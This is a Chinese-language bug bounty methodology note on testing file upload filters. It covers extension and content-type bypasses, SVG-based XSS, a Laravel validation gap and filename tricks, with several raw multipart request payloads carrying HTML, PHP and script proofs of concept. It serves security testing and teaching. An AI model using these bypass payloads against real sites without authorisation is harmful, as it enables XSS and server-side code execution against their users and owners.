文件上传
检查:https://www.bugbountyhunter.com/guides/?type=fileuploads
检查:https://portswigger.net/web-security/file-upload
检查:https://hackerone.com/reports/506646
-
在测试文件上传时,可能会发现文件已上传到第三方域,比如各种存储桶。但是有时公司会将 DNS 记录添加到指向其云服务(通常是 S3 存储桶)的子域。例如,media.example.com 可用于渲染来自其 S3 存储桶的图像。所以S3存储桶又回到了本域范围之内了。
-
他们如何确定或检查该文件是什么?
实际上如何验证这是照片? 可能是通过 .extension 或甚至是 mime type。 除此之外,无论我们上传的照片类型如何,所有照片是否都以相同的格式保存? 例如,如果您上传了 .png 文件,他们是否根本不在乎,无论如何都会保存为 .jpg? -
测试文件扩展名
很简单,首先测试 .txt 以检查过滤器实际上有多严格。如果尝试上传 .html、.php、.xml 以增加影响,您注意到扩展名由于恶意而被过滤,那么我们可以尝试 URL 编码字符,例如空字节、%00、新行、%0d%0a 和制表符、%09 %07,以绕过过滤器。
------WebKitFormBoundaryAxbOlwnrQnLjU1j9
Content-Disposition: form-data; name="imageupload"; filename="malicious.jpg%0d%0a.html"
Content-Type: image/png
<html>HTML code!</html>
对于上述请求,使用 Burp Suite 右键单击请求中的 %0d%0a,单击转换选择并选择 URL 解码。可以看见payload“消失了”,现在发送请求时,payload将被发送 URL 编码并可能绕过过滤器。
实际上很多开发人员会为 image/* 创建过滤器,这意味着 .svg 上传将起作用,因为它的content type是 image/svg+xml。.svg 文件被归类为照片,一些开发人员没有意识到它们可用于实现 XSS。
有时流行的框架也可能是问题所在,例如在 Laravel 中:如下代码表示仅允许图像,但如上所述,.svg 文件被视为图像!这会导致 XSS。
$request->validate([
'post_body' => 'required|string|max:150',
'post_image' => 'nullable|image|max:1024',
]);
在框架文档中,可以发现对于“图片”的定义:https://laravel.com/docs/6.x/validation#rule-image
-
测试内容类型和文件头 content type and file headers
如果文件扩展名方法不起作用,那么接下来可以尝试使用内容类型。
如果用于浏览文件的 URL 默认没有扩展名,这种情况尤其常见,通常看起来像:https://www.example.com/media/QmVQcbUNxs3qV991rwAcpJp6mTFFvRV9JcJnEvZNy5Vzvh。
保留文件扩展名 .jpg 以及正确的图像头(例如 ÿøÿà),我们可以简单地尝试将 Content-Type 更改为 text/html。在服务器端保存时,代码可能会允许文件上传,因为扩展名为 .jpg,但查看时内容类型将设置为 text/html。这是因为服务器很乐意保存您的上传,因为它是 .jpg 格式,带有正确的标题 ÿøÿà,但在查看时使用 Content-Type。
但是!更改 Content-Type 并不是我们在这里可以尝试的唯一方法。有时仅仅更改它是不够的,建议添加文件上传所需的相应文件头。例如,对于 text/html,您可以在此处添加<html>code
,对于 application/xml,可以添加<?xml>
。 -
测试文件名
在实际文件名中使用某些字符可以帮助绕过过滤器。
zseano.php/.jpg 代码可能会看到 .jpg 并允许(代码检查通过了),但服务器实际上将其作为 zseano.php 写入服务器(文件也写进去了),并错过正斜杠后的所有内容。其他常用字符包括。过时的老系统,例如区分大小写的过滤器 .PhP,在如今并不常见。
#、@、;、\ +、&、`
基于文件名的反射值
------WebKitFormBoundarySrtFN30pCNmqmNz2
Content-Disposition: form-data; name="file"; filename="<svg onload=confirm()>58832_300x300.jpg"
Content-Type: image/jpeg
ÿØÿà
....
- 文件上传请求示例
------WebKitFormBoundaryAxbOlwnrQnLjU1j9
Content-Disposition: form-data; name="imageupload"; filename="zseano.jpg"
Content-Type: text/html
<html><h2>codehere</h2>
有时不提供文件扩展名(甚至文件名)会导致其默认为内容类型或文件扩展名。
------WebKitFormBoundaryAxbOlwnrQnLjU1j9
Content-Disposition: form-data; name="imageupload"; filename="zseano."
Content-Type: text/html
<html><h2>codehere</h2>
------WebKitFormBoundaryAxbOlwnrQnLjU1j9
Content-Disposition: form-data; name="imageupload"; filename=".html"
Content-Type: image/png
<html>HTML code!</html>
------WebKitFormBoundaryAxbOlwnrQnLjU1j9
Content-Disposition: form-data; name="imageupload"; filename="zseano.jpg#/?&=+\.html"
Content-Type: image/jpeg
<html><h2>codehere</h2>
------WebKitFormBoundaryAxbOlwnrQnLjU1j9
Content-Disposition: form-data; name="imageupload"; filename="zseano.jpg%0d%0a.php"
Content-Type: application/php
<?php echo "oops!"; ?>
------WebKitFormBoundaryAxbOlwnrQnLjU1j9
Content-Disposition: form-data; name="imageupload"; filename="zseano.jpg%u0025%u0030%u0039.php"
Content-Type: application/php
<?php echo "oops!"; ?>
有时,如果你保留image header,这足以绕过检查。以下是漏洞赏金计划中使用的真实有效载荷。
------WebKitFormBoundaryoMZOWnpiPkiDc0yV
Content-Disposition: form-data; name="oauth_application[logo_image_file]"; filename="testing1.jpg"
Content-Type: text/html
ÿØÿà
<script>alert(0)</script>